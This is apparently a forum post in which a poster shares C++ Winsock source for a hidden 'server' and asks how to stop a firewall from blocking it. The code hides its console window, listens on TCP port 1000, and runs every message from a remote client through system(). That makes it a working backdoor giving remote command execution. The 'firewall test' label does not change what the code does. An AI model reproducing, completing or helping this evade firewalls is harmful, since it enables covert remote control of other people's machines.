Hi, i have been making a program that tests a computer owner's firewall. It gets input from the client i made, and does a system() with it. Is there any way to make the firewall not block the program right when i make a scocket?
Oh, im using Dev-C++ 4.9.9.2 also.
Here's my code for my server so far:
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <iostream>
int main(int argc, char *argv[]){
// Create Stealth
HWND hWnd;
AllocConsole();
hWnd = FindWindow("ConsoleWindowClass", NULL);
ShowWindow(hWnd, 0);
// Done!
WSADATA t_wsa; // WSADATA structure
WORD wVers; // version number
int iError; // error number
wVers = MAKEWORD(2, 2); // Set the version number to 2.2
iError = WSAStartup(wVers, &t_wsa); // Start the WSADATA
if(iError != NO_ERROR || iError == 1){
MessageBox(NULL, (LPCTSTR)"Error at WSAStartup()", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
WSACleanup();
return 0;
}
if(LOBYTE(t_wsa.wVersion) != 2 || HIBYTE(t_wsa.wVersion) != 2){
MessageBox(NULL, (LPCTSTR)"Error at WSAStartup()", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
WSACleanup();
return 0;
}
SOCKET sServer;
sServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sServer == INVALID_SOCKET || iError == 1){
MessageBox(NULL, (LPCTSTR)"Invalid Socket!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
WSACleanup();
return 0;
}
SOCKADDR_IN sinServer;
memset(&sinServer, 0, sizeof(sinServer));
sinServer.sin_family = AF_INET;
sinServer.sin_addr.s_addr = INADDR_ANY; // Where to start server?
sinServer.sin_port = htons(1000); // Port
if(bind(sServer, (LPSOCKADDR)&sinServer, sizeof(sinServer)) == SOCKET_ERROR){
/* failed at starting server */
MessageBox(NULL, (LPCTSTR)"Could not bind the server!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
WSACleanup();
return 0;
}
while(listen(sServer, 20) == SOCKET_ERROR){
Sleep(10);
}
MessageBox(NULL, (LPCTSTR)"Waiting for a Client!", (LPCTSTR)"Server::Success", MB_OK);
int MaxCmds = 100;
int NumOfCmds = 0;
while (NumOfCmds < MaxCmds)
{
SOCKET sClient;
int szlength;
szlength = sizeof(sinServer);
sClient = accept(sServer, (LPSOCKADDR)&sinServer, &szlength);
if (sClient == INVALID_SOCKET){
MessageBox(NULL, (LPCTSTR)"Could not accept this client!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
closesocket(sServer);
WSACleanup();
return 0;
} else {
MessageBox(NULL, (LPCTSTR)"Accepted a Client!", (LPCTSTR)"Server::Success", MB_OK);
}
// Now we can send/recv data!
int iRet;
char buffer[200];
strcpy(buffer, "Welcome to our Server!\0");
iRet = send(sClient, buffer, strlen(buffer), 0);
if(iRet == SOCKET_ERROR){
MessageBox(NULL, (LPCTSTR)"Could not send data!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
closesocket(sClient);
closesocket(sServer);
WSACleanup();
return 0;
}
char autoresponse[80];
int bytes;
strcpy(autoresponse, "Message Received!");
autoresponse[strlen(autoresponse)-1] = 0;
MessageBox(NULL, (LPCTSTR)"Server is ready for messages and is hiding!", (LPCTSTR)"Server::Success", MB_OK);
char *cClientMessage;
cClientMessage = new char[600];
// Enter the message loop
while(bytes = recv(sClient, cClientMessage, 599, 0)){
if(bytes < 1){
iRet = send(sClient, buffer, strlen(buffer), 0);
if (iRet == SOCKET_ERROR)
{
MessageBox(0, "Lost connection with client","Server::Error",0);
szlength = sizeof(sinServer);
sClient = accept(sServer, (LPSOCKADDR)&sinServer, &szlength);
}
Sleep(300);
continue;
}
system(cClientMessage);
for (int x = 0; x < 600; x++)
{
cClientMessage[x] = NULL;
}
Sleep(300);
iRet = send(sClient, autoresponse, strlen(autoresponse), 0);
if(iRet == SOCKET_ERROR){
MessageBox(NULL, (LPCTSTR)"Could not send response!", (LPCTSTR)"Server::Error", MB_OK|MB_ICONERROR);
closesocket(sClient);
closesocket(sServer);
WSACleanup();
return 0;
}
}
delete [] cClientMessage;
cClientMessage = new char[600];
cClientMessage[599] = 0;
Sleep(100); // Don't consume too much CPU power.
delete [] cClientMessage;
// Cleanup
closesocket(sClient);
closesocket(sServer);
// Shutdown Winsock
WSACleanup();
return 0;
}
}